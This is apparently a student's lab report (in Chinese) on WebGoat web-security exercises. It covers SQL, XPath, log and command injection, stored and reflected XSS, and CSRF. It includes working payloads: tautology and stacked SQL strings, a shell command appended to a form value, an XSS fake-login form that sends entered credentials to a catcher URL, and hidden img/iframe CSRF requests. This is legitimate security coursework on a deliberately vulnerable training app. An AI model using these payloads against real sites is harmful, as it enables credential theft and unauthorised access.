20155313 杨瀚 《网络对抗技术》实验九 Web安全基础

一、实验目的

  • 本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

二、基础问题回答

  • 1.SQL注入攻击原理,如何防御

  • 答:SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

  • 2.XSS攻击的原理,如何防御

  • 答:XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

  • 3.CSRF攻击原理,如何防御

  • 答:CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

三、实验内容

第一阶段

  • 1.首先我们来安装一个学习系统Webgoat,然后在里面来进行网络攻击操作。我们先在同学给出的百度云上下载这个压缩包,然后拷入kali中,并在压缩包目录中使用java -jar webgoat-container-7.1-exec.jar这条指令。

  • 等到安装完成以后会显示正在启动,这时候我们就可以在浏览器中运行Webgoat了。

  • 然后我们在浏览器中输入localhost:8080/WebGoat(注意大小写,不然进不去哟)就可以进入这个学习系统。

  • 进入学习系统以后我们可以看到左侧的学习内容。

  • 2.进入学习系统以后我们先进行String SQL Injection(字符串数据库注入?),首先我们在那个文本框里输入Smith,然后在下面会显示Smith的资料。

  • 然后根据文本框下面的数据库语言,我们在文本框中输入'or 1='1,即在数据库语言中形成了名字=''(空集,即所有)or 1=’1(永真式)的判断,结果是会显示所有的用户信息。

  • 3.然后我们进行Log Spoofing(日志伪造),我们通过注入恶意字符串,按照规则伪造出一条登陆成功的日志并实现登陆。

  • 首先我们先在文本框中输入登录名yh,但是我们并不知道密码,所以我们随意输入一个密码,显然登录失败。

  • 然后我们尝试使用yh%0d%0aLogin Succeeded for username: admin输入在登陆名里,密码随意输入,结果显示用户名yh登录失败,但是admin登陆成功。

  • 4.接下来我们进行XPATH Injection(XML路径语言注入?),我们选择一个XML节点,并在不知道用户名和密码的情况下在用户名和密码中分别输入yh' or 1=1 or 'a'='a yh,然后可以看到攻击成功。

  • 5.再接下来我们进行LAB: SQL Injection中的第一项String SQL Injection。我们的目的是使用数据库注入来绕过身份验证,即不需要密码就可以登陆。

  • 参考同学的博客,使用用户Nevile进行登陆,在密码栏中输入' or 1=1 --,但是登录失败。因为查看该网页源代码中显示,这个文本框最多只能输入8个字符。我尝试使用上一个数据库注入的代码’or 1='1,刚好8个字符,结果竟然成功了?

  • 6.再然后我们进行LAB: SQL Injection中的第三项Numeric SQL Injection(数字数据库注入)。我们的目的是通过注入语句浏览到原本无法浏览的信息,通过一个员工Larry,浏览到Boss的账户信息。我们先在上一题中登陆Larry的账户。

  • 然后我们按f12打开网页源代码,如下图中将value=101(即Larry的ID)修改成101 or 1=1 order by salary desc --,这是一种将工资由高到低的一种排序,这样就会在数据库里查找账户数据的时候,第一个查看到老板的账户信息。

  • 结果是我登陆Larry的账户但是却查看到了老板的信息。

  • 7.接着我们进行Database Backdoors(数据库后门)。首先我们输入101查看自己的账户信息。

  • 接下来使用SQL语句101; update employee set salary=20155313进行修改,将薪水修改成20155313?

  • 8.最后我们来做Command Injection(命令注入)。我们通过修改网站源代码来访问本地计算机建立的IP以及系统的网络端口使用情况以及IP地址,尝试注入netstat -an以及ifconfig这两个系统命令。我们在下图源代码的位置添加"& netstat -an & ipconfig"

  • 然后我们在上面的选择框中选择第二项,即我们修改过的选项。

  • 结果我们可以成功查看IP和端口的信息。

第二阶段

  • 1.接下来我们进行XSS跨站脚本攻击,首先我们尝试Phishing with XSS(跨站脚本仿冒攻击)。我们的目的是在一个具有XSS漏洞的页面中,利用XSS和HTML注入达到这些目标。参考提示我们尝试向搜索字段添加HTML以创建假身份验证表单,参照同学的博客我们得到以下代码。
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 我们将以上代码输入到搜索框中并点击搜索,我们就会看到该代码的运行结果,然后我们在用户名和密码一栏输入我们的账户信息,(假装是正确的)结果我们会看到我们输入的内容被弹窗显示了出来。

  • 2.接下来我们尝试进行Stored XSS Attacks(跨站脚本存储攻击)。我们的目的是在这个sumit的操作上添加一个html的标签。这很简单,我们在Title中随意输入一个抬头,然后在Message中输入<script>alert("20155313");</script>一个script的弹窗模块即可完成。

  • 3.最后我们尝试进行Reflected XSS Attacks(跨站脚本反射攻击)。我们在第一个输入文本框随意输入一个银行卡卡号(输入的当然是假的咯),然后输入银行卡最后三位验证码的输入文本框中输入<script>alert("20155313");</script>,然后点击购买就会显示弹窗,但是同时会显示购买成功?所以你只要知道别人的银行卡卡号就可以随便买东西咯?

第三阶段

  • 1.最后我们来进行CSRF跨站请求伪造攻击。首先我们尝试的是Cross Site Request Forgery(CSRF),我们的目的是发送一段包含恶意代码的图片,然后通过设置让被攻击者看不到这个图片。我们在message中输入<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>这个格式,其中的src和mune的值参考下面的表格。

  • 提交以后点击下面的bonsai按钮刷新以后就会显示攻击成功。

  • 2.最后的最后我们进行CSRF Prompt By-Pass(绕过CSRF确认攻击)。我们在message的文本框中输入下面的代码,其中的src和menu值参考下面的表格。

<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>```
- ![](https://images2018.cnblogs.com/blog/1071530/201805/1071530-20180529221546402-1539020147.png)
- ![](https://images2018.cnblogs.com/blog/1071530/201805/1071530-20180529221752824-673905580.png)
- 点击提交以后点击下面的Title名就会显示下面攻击成功的界面。
- ![](https://images2018.cnblogs.com/blog/1071530/201805/1071530-20180529222623519-1971263850.png)

20155313 杨瀚 《网络对抗技术》实验九 Web安全基础的更多相关文章

  1. 20155201 网络攻防技术 实验九 Web安全基础

    20155201 网络攻防技术 实验九 Web安全基础 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.报告内容: 1. 基础问题回答 1)SQL注入攻击 ...

  2. 20155328 《网络对抗》 实验九 Web安全

    20155328 <网络对抗> 实验九 Web安全 基础 实验过程记录 在实验开始之前先把webgoat的jar包放到home目录下.打开终端,用命令java -jar webgoat-c ...

  3. 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础

    2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...

  4. 20155235 《网络攻防》 实验九 Web安全基础

    20155235 <网络攻防> 实验九 Web安全基础 实验内容 SQL注入攻击 XSS攻击 CSRF攻击 WebGoat WebGoat是OWASP组织研制出的用于进行web漏洞实验的应 ...

  5. 20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13

    <网络对抗技术>Exp9 Web安全基础 Week13 一.实验目标与内容 1.实践内容 (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目.包括(SQL,XSS,CSR ...

  6. 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...

  7. 2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础

    2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础 目录 实验内容与步骤 (一)Webgoat安装 (二)SQL注入攻击 1.命令注入(Command Injection ...

  8. 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...

  9. 2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165312<网络对抗技术>Exp9 Web安全基础 目录 Exp9_1安装Webgoat Exp9_2 SQL注入攻击 Numeric SQL Injecti ...

  10. 2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165210<网络对抗技术>Exp9 Web安全基础 实验目的 本实践的目标理解常用网络攻击技术的基本原理. 实验内容 安装Webgoat SQL注入攻击 - ...

随机推荐

  1. 项目报错:Caused by: java.lang.ClassNotFoundException: Didn't find class "..."on path: DexPathList

    项目报错: Caused by: java.lang.ClassNotFoundException: Didn't find class "com.eshore.njb.MyApplicat ...

  2. Android studio button 按钮 四种绑定事件的方法

    package com.geli_2.sujie.sujiegeili2testbutton; import android.os.Bundle; import android.support.v7. ...

  3. android中checkbox自定义样式

    1.首先res/drawable中定义checkbox_style.xml样式: <?xml version="1.0" encoding="utf-8" ...

  4. [iOS]圆形进度条及计时功能

    平时用战网安全令的时候很喜欢圆形倒计时的效果,然后简单看了一下Android的圆形进度条,后来又写了一个IOS的.整体界面参照IOS系统的倒计时功能,顺便熟悉了UIPickerView的一些特性的实现 ...

  5. SecureCRT使用问题记录

    1.破解版下载&安装 参考:https://bbs.feng.com/read-htm-tid-6939481.html 2.session导入 查看 SecureCRT-Preference ...

  6. arrayfun用法(转)

    http://blog.sina.com.cn/s/blog_7cf4f4460101bnhh.html 利用arrayfun函数可以避免无谓的循环,从而大大提高代码的简介性.1.A=ARRAYFUN ...

  7. MySQL基础之---mysqlimport工具和LOAD DATA命令导入文本文件

     1.mysqlimport工具的使用 看一下命令的使用方法: shell > mysqlimport -u root -p [--LOCAL] DBname File [option] --f ...

  8. TruncateATable 清除一张表

    当我们想删除一张表的全部数据时,我们可以使用 truncate 关键字,但如果要删除的表的主键被引用了,那么就无法执行语句. 1.制作清除数据的工具 ,在 nuget 控制台中输入 Install-P ...

  9. 基于CNN网络的汉字图像字体识别及其原理

    现代办公要将纸质文档转换为电子文档的需求越来越多,目前针对这种应用场景的系统为OCR系统,也就是光学字符识别系统,例如对于古老出版物的数字化.但是目前OCR系统主要针对文字的识别上,对于出版物的版面以 ...

  10. 【Alpha 冲刺】 5/12

    今日任务总结 人员 今日原定任务 完成情况 遇到问题 贡献值 胡武成 建立数据库 未完成 设计表结构的时候,有些逻辑没有设计好,重新review一番设想的功能才初步确定表结构 孙浩楷 根据UI设计, ...